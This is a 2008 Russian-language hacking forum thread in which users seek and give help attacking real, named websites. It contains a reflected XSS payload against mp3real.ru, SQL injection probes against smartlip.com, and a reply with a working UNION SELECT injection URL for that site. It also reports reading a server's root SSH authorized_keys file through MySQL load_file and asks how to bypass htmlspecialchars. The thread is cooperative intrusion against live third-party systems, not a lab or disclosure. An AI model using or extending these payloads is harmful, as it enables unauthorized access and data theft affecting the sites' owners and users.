06.12.2008, 20:00
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
При чтении load_file-ом нашёл публичные ключи в ./root/.ssh/authorized_keys:
bЃ .authorized_keys.nV0WVg bЃ Иauthorized_keys
Справа отчётливо имя файла authorized_keys,а слева что за херня ? Юзал SIPT 4.0
Система - FreeBSD
И ещё: кучу всякого в var/tmp валяется,включая идентификаторы сессий.
mysql-5.tgz к примеру.
Последний раз редактировалось Велемир; 06.12.2008 в 20:13..
|
|
|
07.12.2008, 01:26
|
|
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686
Репутация:
-25
|
|
Существует ли способ обойти функцыю htmlspecialchars(); если да то как?
|
|
|
|
07.12.2008, 02:19
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
А чё её обходить,если она и так не работает : DD
|
|
|
|
07.12.2008, 03:07
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552
Репутация:
568
|
|
geforce
для хсс врятле обойдеш... скуля хз, помоему тоже..
есть тема уже, о ее безопастности )
https://forum.antichat.ru/showthread.php?t=64500
Последний раз редактировалось sabe; 07.12.2008 в 04:45..
|
|
|
|
07.12.2008, 04:42
|
|
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789
Репутация:
227
|
|
Если аргумент не в кавычках то скулю можно забомбить
|
|
|
|
07.12.2008, 17:54
|
|
Познающий
Регистрация: 04.08.2008
Сообщений: 53
Провел на форуме:
63941
Репутация:
2
|
|
Помоему на простые вопросы есть банально простой раздел... Может я ошибаюсь?
|
|
|
|
07.12.2008, 19:47
|
|
Участник форума
Регистрация: 29.04.2008
Сообщений: 106
Провел на форуме:
647733
Репутация:
46
|
|
Помогите с интересным сайтом. это mp3real.ru. Дырявый, шопи**ец. Ничерта в поиске не фильтруется... нашел пассивную xss
http://www.mp3real.ru/search/?type=art&q="><script>alert()<script>
и нашел вроде бы sql inj , но не уверен. Если и скуль, то очень странный. Ошибку вызывает запрос
http://www.mp3real.ru/search/?type=art&q=<'' (две одиннарные)
Вопрос - как развернуть inj? У кого-нить есть предложения по этому поводу?
|
|
|
|
07.12.2008, 20:05
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134
Репутация:
519
|
|
AARON,нету там sql иньекта...
|
|
|
|
07.12.2008, 20:37
|
|
Познающий
Регистрация: 18.04.2008
Сообщений: 62
Провел на форуме:
279406
Репутация:
37
|
|
Подскажите, есть инъекции или нет.. непойму, вроде все "признаки" указывают на скулю, а вот что тто даже рабочие поля выявить не получается 
Код:
http://smartlip.com/symbian/fileshare/flist.php?cat=1'
Код:
http://smartlip.com/adv/?id=1'
Заранее, спасибо! |
|
|
|
07.12.2008, 20:41
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194
Репутация:
1934
|
|
http://smartlip.com/symbian/fileshare/flist.php?cat=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from +information_schema.tables--%20%201
слепая скул
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
